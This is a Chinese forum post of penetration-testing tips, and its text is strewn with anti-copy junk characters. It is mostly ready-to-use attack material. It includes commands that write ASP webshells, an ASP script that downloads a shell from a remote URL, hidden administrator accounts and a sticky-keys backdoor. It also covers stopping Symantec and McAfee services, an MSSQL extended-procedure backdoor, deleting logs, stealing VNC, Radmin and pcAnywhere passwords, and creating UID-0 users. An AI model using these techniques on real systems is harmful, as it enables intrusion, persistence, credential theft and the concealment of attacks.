渗透技巧总结

admin

旁站路径问题
% w# c/ D4 G9 x' D1、读网站配置。
2、用以下VBS
On Error Resume Next
9 F) `- \2 I5 i) W! XIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
: Z0 |: G4 o( f, t6 G
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
3 q% a+ B$ B! |$ b5 A& o
; D% D" Q5 h- c. b. s3 C, x("IIS://LocalHost/W3SVC")
8 u7 W. j1 T- B3 Q) s+ QFor Each obj3w In objservice
0 u$ H6 c/ |2 G5 v; S0 o" o, h        If IsNumeric(obj3w.Name)
+ ]* W4 U: x4 F4 _
Then
: p+ k. E& d% e                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
- X; s- ^. ?; C. L/ F         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
) F! Z! J2 E; H2 l                If Err
; n( w2 O$ i( f
7 S' {. ]  v8 F) a4 l4 f<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
# W3 A) O$ A. D2 y     

5 G/ }1 K' b: H% i+ V                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
( L5 t) v9 h, K                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
3 p. M. w8 w* s: k/ b                Next
" V) e$ I2 S* w& r, f      
! W4 L8 a0 }+ [0 |* f7 m
         WScript.Echo "ath            : " & VDirObj.Path
& [) b; T% F; M; N1 R; W* }        End If
" T* x  c1 I3 Z4 R( \Next
1 r  }2 V( Z0 d复制代码
6 q- z5 m, E$ K- X3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
8 G+ K" `9 \  p8 Q' }+ }url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
# D6 G5 J6 I! q' f——————————————————————
phpMyAdmin暴路径办法:
1 O( I$ o3 }1 j! ~* g! J$ P7 rphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
# N  N9 h- U/ ~% h/ L: f网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
% Q, V/ B, Y4 ~, ]! k————————————————————
8 z: Z* l$ J& U/ D/ a5 `. TCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
9 o) s" ~& @2 F5 S1 Dnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
$ R4 g  Q( W0 Q! u# Znetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
" t7 ~$ R( R4 X9 n————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
2 z( K5 b; T" w, |% b: n2 F% S) D  Uexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
$ b) w1 u; a+ V5 u6 B然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
1 k: E+ K' R, R3 r5 E2 M
/ ~7 Z- r7 H1 u. c+ N另类的加用户方法
  I/ X; U+ |! {在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
; H6 s# F* \3 t) D$ cz.changePassword("123456","")
) P, I, @1 N4 p- T$ |z.setting("AccountType")=3;

4 P, s; K( O: [5 v; Mvbs:
6 n* S$ P2 A. K, @2 F* WSet   o=CreateObject( "Shell.Users" )
8 l2 S/ }4 w' h# J4 i' lSet z=o.create("test")
7 C' |, K7 O: j+ I9 iz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
: F9 s' n" ?: f: O8 h, b* ccacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
5 ]8 n0 H9 V% @. Q: k————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
, w  w/ M& I! l$ Z. p; ~2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
, i% R- e2 v/ y) U, Znet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
" r/ z9 C0 w' k7 p  @3 Y+ qnet stop "Symantec Settings Manager" /y
! D& q/ g; Q4 s' K$ f
卖咖啡：net stop "McAfee McShield"
————————————————————
0 M* t5 H1 ]& s+ Q6 u
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
6 ?2 d* A0 U7 ?% d6 s4、利用Hacker Defender把相关用户注册表隐藏
' b$ T8 e1 S# D+ I% h$ n——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
. w& F- i8 r; N1 }0 t0 g———————————————————————
- P0 j0 d0 t* B. t! u; Z, P日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
8 {9 u  s6 G6 Q5 ]直接删除 ex0111124.log
不成功，“原文件...正在使用”
( X# \& F! m0 m当然可以直接删除ex011120.log / ex011121.log
4 Q" Y3 t8 `2 X2 u9 G2 C: A$ X用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
/ _2 k( f/ S6 O% k, k+ PHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

1 y& w. g& j# X, HServer\90\Tools\Shell\mru.dat
9 |$ w  u1 s  B( n2 X4 B3 T+ _! K  h—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
2 D/ C9 P& \- y3 u
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
8 M: S+ a( c9 z, c! K8 t0 CDim Ads, Retrieval, GetRemoteData
On Error Resume Next
' i) a7 P& J! O- g- ^1 T$ sSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
6 n# b$ \- W- Z: ?6 SWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
* ]) H! P: z. x+ y$ s.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
: j5 W& b' Z' ~$ T, m) g0 USet Ads = Server.CreateObject("Adodb.Stream")
7 _+ J) U/ T! N7 O' u- Z: tWith Ads
3 w- I- `5 N" _) M5 R8 O) Z% `.Type = 1
7 [( H6 E& Q* }) B.Open
" ]7 D9 T0 n( s( |: V, F.Write GetRemoteData
3 }% I) t8 M# x* k; P; {.SaveToFile Server.MapPath(s_LocalFileName), 2
) e% ?9 o! k. W% J9 r.Cancel()
.Close()
  Y. S, r0 h6 q- h* g' [End With
Set Ads=nothing
End Sub
- N2 H* X$ u% {, J# u1 m% \& q( w
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

/ A8 X: U0 `0 E9 F& ~. yVNC提权方法:
: W) @6 C, I0 r8 O1 `/ k8 W利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
" E* ~# E" f/ i; p0 Y! \. A) J注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 K5 a% o7 H* r: _, NRadmin 默认端口是4899，
" n5 |1 j( z3 s% o2 _4 }HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
" W" J, w/ s1 `7 G! D  V- o如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
# i; ?- h6 l$ d6 I5 d保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
9 M! U" K2 b) Q3 h2 N; u搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
9 s& F* E* i" p& y: C: Y/ zWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
, A0 Q% D* V! p: J2 J3 _; i( v) c没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
; \8 o. e; {! {3 t' rstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
- p# O- ?2 J0 K0 h( r  XstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

6 e! c0 P5 O. A# P) C% c6 a. E";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
1 E# l+ {5 x5 t1 e4 z* V! Bdim rs,strSQL,id
/ h! E; A% _  c8 a  d" ]6 ?  Iset rs=server.createobject("ADODB.recordset")
. H4 t, f/ w, {7 Tid = request("id")
+ K2 r+ J0 c6 }+ {) wstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
1 Y% _4 _% Z4 x/ F: H%>
复制代码
. E# t1 B# u; @4 s) J# G; c******liunx 相关******
" l* \2 S% E6 w  r# P一.ldap渗透技巧
2 L+ w7 E) ]/ |' @0 @; k5 _1.cat /etc/nsswitch
8 m! E" e! j2 j# ^; w看看密码登录策略我们可以看到使用了file ldap模式
3 P/ a2 l1 q( ~/ o3 L& @
( ^! J  w6 V' Y5 @: |$ f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
# Z+ B7 U  m: Q( P, w( h0 ?找到ou,dc,dc设置
. \  x. b4 p1 Y- Z6 C' A( X3 @$ K
# \( N3 Q  M! C+ C( q3.查找管理员信息
: b1 S0 u% d) D匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' @3 Y- }3 N4 {
3 Q" f4 x& Q6 x+ A- O0 Z4 G. i2 A"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
! Q& Z) K( y+ B/ @4 I+ E* w6 @ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

. T- k8 _( G+ `. w) J
+ ^  T6 h, P, C% {  q4.查找10条用户记录
. F, G- f; U- }8 Nldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) q+ l( c" S8 r/ Z5 d. h2 g实战:
1.cat /etc/nsswitch
0 m) |& w1 Q" \' N看看密码登录策略我们可以看到使用了file ldap模式
- [; a0 ~: {9 o8 j* J0 P3 [% ~
2.less /etc/ldap.conf
+ ^" G# b% Y. D- R/ w& e' [4 Mbase ou=People,dc=unix-center,dc=net
) y+ X1 E- P& u8 A& T+ C找到ou,dc,dc设置

4 m- j1 }- J6 k  H( R7 D; L% h8 |3.查找管理员信息
匿名方式
" S% C2 X6 [% Z& _& Rldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
$ V  k: H3 l& A0 n, _6 Q2 Eldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
  I( C7 V% G9 M

4.查找10条用户记录
0 X/ D. z- p2 H( V5 O' Tldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
2 v( P! E$ ]7 W) {. r8 F8 g1.返回所有的属性
; @9 E% L% F/ n7 [3 cldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
+ B& J* F# q0 N1 k; y0 ^dn: dc=ruc,dc=edu,dc=cn
9 _2 |1 V3 [; n# Kdc: ruc
objectClass: domain

' }/ N0 L; i3 e! U) `dn: uid=manager,dc=ruc,dc=edu,dc=cn
: m9 \* J  z# \$ A! `/ y+ Auid: manager
- B% `) Z' P& i0 PobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
8 D& B; `; s( }! b+ ~- guid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
7 c# q5 @3 T/ i) ]* r8 Y  O% S: Vsn: superadmin
- ~9 H; a; G" J* Xcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
1 ~  o, m& c4 k9 ^* `uid: admin
objectClass: inetOrgPerson
0 Z( [8 F) H( C8 _" X, ^: l$ ]9 AobjectClass: organizationalPerson
$ a5 Z( D+ B1 s, N  wobjectClass: person
objectClass: top
sn: admin
9 E7 T0 Q. c) b! pcn: admin

2 L; F% G$ B( R2 vdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
0 \8 E! w* M, @3 V1 u& J" \/ S5 s# \uid: dcp_anonymous
# ]; n$ ~+ Z( M- X$ l# v6 X# WobjectClass: top
objectClass: person
, E% A+ y+ z% e4 y; KobjectClass: organizationalPerson
objectClass: inetOrgPerson
0 i5 r+ k7 x5 C, P; d  J* osn: dcp_anonymous
cn: dcp_anonymous
0 ]! d+ J/ G8 ?+ Q2 b
8 E3 W" X3 ?* j7 e' V+ A& B2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
. A% [  T9 V; u) h; \' C
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
+ C2 s/ `4 E/ ]7 d$ O  ~dc: ruc
: H* p; m* q, D/ M* u3 E  ^3 X# S3 m4 cobjectClass: domain
  F( i9 p5 Q/ A+ J2 b& p& r4 b
2 k( }0 N' k0 F3 M5 z3.查找
  I/ [8 b1 {+ \, v3 n4 X" @9 Bbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
5 Z3 C) T0 v8 X8 Y5 q" [3 `supportedExtension: 1.3.6.1.4.1.4203.1.11.1
( z+ X, B% Y" L0 [% I: B4 M0 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
( N+ n  [" f' q, ~( HsupportedExtension: 2.16.840.1.113730.3.5.5
* D' k5 F$ |$ h. T& f! CsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
+ g% A& B+ y: g; k( e3 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
3 k: a, h* N9 p# I2 g/ a4 T1 G; vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
/ k+ [6 N) ^6 @4 B' f+ ?$ o# I% L7 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
6 {% Z- I$ L# rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
& t7 b7 H1 p' D+ m1 t8 T& nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
/ E4 L+ W" D# vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
$ F# j% N2 [! y" QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
5 ?1 @1 W' w  x: U! U1 z! IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
/ K, z: T5 i  o7 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, A) g3 B* g7 `supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
0 ~- B6 @3 g0 D0 ^' AsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
. u- E+ ?- c7 f9 \3 wsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
: P9 y3 ?; O1 S* f+ O2 HsupportedControl: 2.16.840.1.113730.3.4.15
; F) u6 @6 D- r# I* xsupportedControl: 2.16.840.1.113730.3.4.17
. G8 R: o9 z3 |  B) usupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
6 E6 _4 }( ^& |supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
! G. e, f6 P- H: ]" q- g4 L0 AsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
/ n6 {* Y& ?9 S* \supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
& x8 w+ }" M9 B% fsupportedSASLMechanisms: EXTERNAL
/ v/ [5 U+ v, A: s1 B% u, D& bsupportedSASLMechanisms: DIGEST-MD5
6 j; j* M; T1 p+ \* ?5 {1 A# KsupportedLDAPVersion: 2
5 k8 I- L8 X' P# _supportedLDAPVersion: 3
2 I6 E! {2 I* @/ ]2 ?vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
$ P3 x. D& ^: w9 z( {4 Y' Ldataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
8 @2 K- ^: Y! m' S( s3 IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 S4 n% _/ }( C) m# PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
' o; u& g* p  b+ [- c" j! t- vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
6 o: _6 A8 v1 ~5 H; DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
" X3 c6 N" C1 r/ ~7 l: e; ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
! p# \0 q3 e) F+ EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
9 `6 `4 T6 }  m, W/ gsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
" R& g/ J7 M; L( ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
- ?( V, D' v0 R9 p: h! |supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
% C* ~) o3 u4 F' hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
  M# p5 d( U, `: L: esupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
( d+ K" f/ T- l9 w: N& j7 bsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
, O7 n" ~, \; }$ \supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
1 x! L9 {+ v  p6 `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
6 Z; r' C& M! Y' h) W3 Y1 F" LsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
) C# D. W; F' v, d# u7 [, M/ UsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
# G3 r% l7 D( e2 o9 d# f/ CsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
8 {% W6 e& Z& A2 XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
$ o) V; h" i: `( L+ OsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
2 w9 _, f" i# E! r! {4 i; i# ysupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
- p  G' g+ r3 Z$ M# GsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
3 K/ R1 F. q; `: \supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
; }5 G. s: t3 w& U9 IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
. q+ ]! Q6 Q3 d7 M0 wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
  w/ A* @" g5 DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
' D6 j0 n1 ^! F  r6 {) m+ fsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
8 D* Q  \( n+ `% q1 L4 W: csupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
( l* C5 V+ W$ X& h7 ]5 M5 lsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
8 B6 `6 R5 ^& I- S* ]/ B" o8 f2. NFS渗透技巧
! C  C( A2 b" Dshowmount -e ip
列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
! M' y- u! x8 F! K- m4 Y. U3 Hfinance
img_finance
auto
img_auto
9 |4 Y: c, I% w: t1 O) r! Chtml_cms
: T  @- E6 g  {( j/ Q& timg_cms
ent_cms
ent_img
9 c0 S* L2 p$ I* f! n  ^ceshi
# E9 r( l$ w6 v. ~3 J& g' jres_img
7 W+ y8 S5 W$ e0 w- `res_img_c2
* L) x3 A9 E3 `, B1 ]chip
; B  M% g6 F# achip_c2
ent_icms
games
gamesimg
* _6 X% x6 t1 bmedia
3 f  u# i0 o( [; f6 nmediaimg
* j- |8 N# B+ C/ K: Vfashion
res-fashion
res-fo
( S8 f, B. [" u' ctaobao-home
res-taobao-home
house
res-house
3 S4 Z8 s4 W2 dres-home
res-edu
res-ent
res-labs
: u- Z3 C( c5 ~0 [8 @7 \4 pres-news
res-phtv
res-media
8 ^* n; N7 z2 c! f# jhome
edu
news
2 B) A7 t/ ?- i& j+ {1 D* ?res-book

# C* M$ c, a# _, }9 j8 k( S/ {看相应的下级目录(注意一定要在目录后面添加上/)
' Q" _8 M- z9 f& [
* D! F1 d" M3 R
# a7 a# B5 f) C0 J; yrsync 210.51.X.X::htdocs_app/
9 V& C3 p2 D, E" Z' D7 p& Drsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

) Z- F: R& B$ C+ P2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
$ E4 H3 q1 z5 z: A+ N: T
" ?6 P2 G  K4 p$ c3.向上更新rsync文件(成功上传,不会覆盖)
  {. _$ J/ a/ ^' W" A' V1 Ersync -avz nothack.php 210.51.X.X::htdocs_app/warn/
: ]; P$ ~3 Q+ x, Q- G2 bhttp://app.finance.xxx.com/warn/nothack.txt
, Y* `( ~2 \, m2 u4 U' `
& p! K6 |  o+ Z2 y, ~9 y四.squid渗透技巧
9 m; C5 n+ d. ~/ ^6 y1 |3 Cnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
& n# p. b$ t+ x. T; B2 JGET HTTP://WWW.sina.com:22 / HTTP/1.0
: o9 j& O- h2 V3 B1 ^, k7 P$ }五.SSH端口转发
! ^0 ^, }2 ^7 F1 {7 hssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
  x- i5 g6 Y5 }' y5 v4 e& Y
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

9 F! }1 s, f9 m' f) ]6 W" Q6 P. S重新设置密码
/ X. \# a$ T9 I% z- Xindex.php?option=com_user&view=reset&layout=confirm
7 p" y% u/ e. _7 v0 W; g
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
& u: c+ R( t4 Q2 {; g
, R" Y: Z5 {& F2 Y6 S' N! i( N八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* s/ ~2 d  ?( s. P  `1 G( J( d* [argp@julius ~]$ id
# R8 k/ L, E0 A3 s& l* V% ^* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
6 U# P. F4 \9 N. k' g2 p" d  C2 @{
* S- M0 o: p6 X3 ^; j注：
